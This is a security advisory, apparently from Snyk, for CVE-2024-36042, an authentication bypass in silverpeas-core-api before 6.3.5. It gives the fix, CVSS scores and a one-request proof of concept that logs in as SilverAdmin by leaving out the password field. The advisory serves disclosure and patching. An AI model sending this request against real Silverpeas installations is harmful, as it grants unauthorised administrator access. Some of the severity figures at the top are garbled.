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Improper Authentication Affecting org.silverpeas.core:silverpeas-core-api package, versions [,6.3.5)

Severity

 Recommended
0.0
high
0
10

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    Exploit Maturity
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  • Snyk ID SNYK-JAVA-ORGSILVERPEASCORE-7210308
  • published 5 Jun 2024
  • disclosed 3 Jun 2024
  • credit Unknown
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Introduced: 3 Jun 2024

CVE-2024-36042 Open this link in a new tab
CWE-287 Open this link in a new tab

How to fix?

Upgrade org.silverpeas.core:silverpeas-core-api to version 6.3.5 or higher.

Overview

Affected versions of this package are vulnerable to Improper Authentication via the AuthenticationServlet. An attacker can gain unauthorized access and potentially obtain superadmin privileges by omitting the Password field during the authentication process.

PoC 


POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0

CVSS Scores

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Snyk

Recommended
8.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    None